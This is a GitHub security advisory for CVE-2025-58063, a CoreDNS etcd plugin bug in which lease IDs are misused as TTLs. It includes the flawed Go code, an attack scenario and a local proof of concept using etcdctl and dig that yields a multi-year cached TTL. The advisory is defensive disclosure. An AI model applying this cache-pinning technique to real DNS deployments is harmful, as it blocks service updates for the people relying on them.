Skip to content

CoreDNS: DNS Cache Pinning via etcd Lease ID Confusion

High severity GitHub Reviewed Published Sep 9, 2025 in coredns/coredns • Updated Sep 10, 2025

Package

gomod github.com/coredns/coredns (Go)

Affected versions

>= 1.2.0, < 1.12.4

Patched versions

1.12.4

Description

Summary

The CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling cache pinning for very long periods. This can effectively cause a denial of service for DNS updates/changes to affected services.

Details

In plugin/etcd/etcd.go, the TTL() function casts the 64-bit etcd lease ID to a uint32 and uses it as the TTL:

func (e *Etcd) TTL(kv *mvccpb.KeyValue, serv *msg.Service) uint32 {
    etcdTTL := uint32(kv.Lease)  // BUG: Lease ID != TTL duration
    // ... rest of function uses etcdTTL as actual TTL
}

Lease IDs are identifiers, not durations. Large lease IDs can produce very large TTLs after truncation, causing downstream resolvers and clients to cache answers for years.

This enables cache pinning attacks, such as:

  1. Attacker has etcd write access (compromised service account, misconfigured RBAC/TLS, exposed etcd, insider).
  2. Attacker writes/updates a key and attaches any lease (the actual lease duration is irrelevant; the ID is misused).
  3. CoreDNS serves the record with an extreme TTL; downstream resolvers/clients cache it for a very long time.
  4. Even after fixing/deleting the key (or restarting CoreDNS), clients continue to use the cached answer until their caches expire or enforce their own TTL caps.

Some resolvers implement TTL caps, but values and defaults vary widely and are not guaranteed.

PoC

  1. Launch etcd:
etcd \
  --data-dir ./etcd-data \
  --listen-client-urls http://127.0.0.1:2379 \
  --advertise-client-urls http://127.0.0.1:2379 \
  --listen-peer-urls http://127.0.0.1:2380 \
  --initial-advertise-peer-urls http://127.0.0.1:2380 \
  --initial-cluster default=http://127.0.0.1:2380 \
  --name default \
  --initial-cluster-token etcd-ttl-poc \
  --initial-cluster-state new &
  1. Prepare CoreDNS configuration:
cat > Corefile << 'EOF'
skydns.local {
    etcd {
        path /skydns
        endpoint http://localhost:2379
        debug
    }
    log
    errors
}
EOF
  1. Launch CoreDNS:
coredns -conf Corefile -dns.port=1053
  1. Create an etcd record called large-lease-service with a lease grant of 1 hour:
LEASE_ID=$(etcdctl --endpoints=http://127.0.0.1:2379 lease grant 3600 | awk '{print $2}')

etcdctl --endpoints=http://127.0.0.1:2379 put /skydns/local/skydns/large-lease-service '{
  "host": "192.168.1.101",
  "port": 8080
}' --lease=$LEASE_ID
  1. Verify the lease details:
$ etcdctl lease timetolive $LEASE_ID
lease 7c4a98dd35b75c23 granted with TTL(3600s), remaining(3252s)
  1. Query the DNS record and observe the record TTL at 28 years:
$ dig +noall +answer @127.0.0.1 -p 1053 large-lease-service.skydns.local A
large-lease-service.skydns.local. 901209123 IN A 192.168.1.101

Impact

Affects any CoreDNS deployment using the etcd plugin for service discovery.

  • Availability: High as service changes (IP rotations, failovers, rollbacks) may be ignored for extended periods by caches.
  • Integrity: Low as stale/incorrect answers persist abnormally long. (Note: attacker with etcd write could already point to malicious endpoints; the bug magnifies persistence.)
  • Confidentiality: None.

The bug was introduced in #1702 as part of the CoreDNS v1.2.0 release.

Mitigation

The TTL function should utilise etcd's Lease API to determine the proper TTL for leased records. Add configurable limits for minimum and maximum TTL when passing lease records, to clamp potentially extreme TTL values set as lease grant.

Credit

Thanks to @thevilledev for disclovering this vulnerability and contributing a fix.

For more information

Please consult our security guide for more information regarding our security process.

References

@yongtang yongtang published to coredns/coredns Sep 9, 2025
Published to the GitHub Advisory Database Sep 9, 2025
Reviewed Sep 9, 2025
Published by the National Vulnerability Database Sep 9, 2025
Last updated Sep 10, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Incorrect Conversion between Numeric Types

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur. Learn more on MITRE.

CVE ID

CVE-2025-58063

GHSA ID

GHSA-93mf-426m-g6x9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.